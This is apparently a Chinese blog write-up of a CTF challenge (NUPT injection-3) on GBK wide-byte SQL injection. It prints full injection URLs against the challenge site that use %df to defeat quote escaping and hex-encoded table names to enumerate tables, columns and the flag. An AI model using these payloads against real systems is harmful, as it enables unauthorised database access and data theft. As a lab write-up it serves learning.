欢迎扫码关注微信公众号
回复关键字【资料】获取各种学习资料
从昨天晚上开始做的,结果踩了一个坑,干到了凌晨1点,电脑都自动关机了,也没做出来,电脑关机之后,又用手机查了一下,
知道了应该用表名的16进制形式来进行爆表,然后到今天上午才做完,还是上计组的时候用手机的火狐做的,手机做是真的难受
宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码
表名库名的十六进制形式:
字符形式的表名: ctf
表示成十六进制就是这样的: 0x637466
每个字母用两位十六进制数表示,前面加一个0x就行了
当我爆表的时候需要使用这样语句:
完整的url:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df’ and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
这样就能显示出来当前数据库中的所有表
问题出在爆列,我们依次查询各个表中的字段
在’不被过滤的情况下,我们的语句应该是这样的:
‘ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=’table1’#
但是现在存在针对特殊符号的过滤,’会被转义而变成普通的字符,虽然有宽字节注入的漏洞,但是我们只能在闭合’的时候用,后面的where字句中
就无法使用了,如果在where子句中使用宽字节吃掉转义符,那么你的注入语句就会变成这样:
your sql:select id,title from news where id = ‘運’ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=運’ctf運’#’
转义符\的确是被吃掉了,但是where字句也多了两个gbk编码,所以一定会报错,此路不通,我们就转而用十六进制形式的表名,这种形式不需要单引号
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df’ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=0x637466%23
这样构造出来的url就爆出了ctf表中的字段,没有flag字段,继续爆其他的表格,当我们爆到ctf4的时候,
发现了flag字段,之后构造select flag from ctf4的注入语句即可拿到flag
今天的文章南邮CTF injection-3 宽字节注入分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/30022.html